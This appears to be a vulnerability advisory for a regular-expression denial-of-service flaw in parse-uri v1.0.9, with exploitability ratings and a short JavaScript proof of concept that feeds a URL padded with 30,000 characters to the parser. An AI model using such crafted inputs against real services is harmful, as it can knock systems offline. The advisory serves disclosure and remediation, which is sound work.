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GHSA-6fx8-h7jm-663j
No affected components available
An issue in parse-uri v1.0.9 allows attackers to cause a Regular expression Denial of Service (ReDoS) via a crafted URL.
PoC
async function exploit() {
const parseuri = require("parse-uri");
// This input is designed to cause excessive backtracking in the regex
const craftedInput = 'http://example.com/' + 'a'.repeat(30000) + '?key=value';
const result = await parseuri(craftedInput);
}
await exploit();
The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker does not need any special privileges or access rights. No user interaction is needed for the attacker to exploit this vulnerability.
Limited exploitation activity has been observed. Close monitoring and planned remediation are recommended.
Probability that this vulnerability will be exploited in the wild within the next 30 days.
We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.
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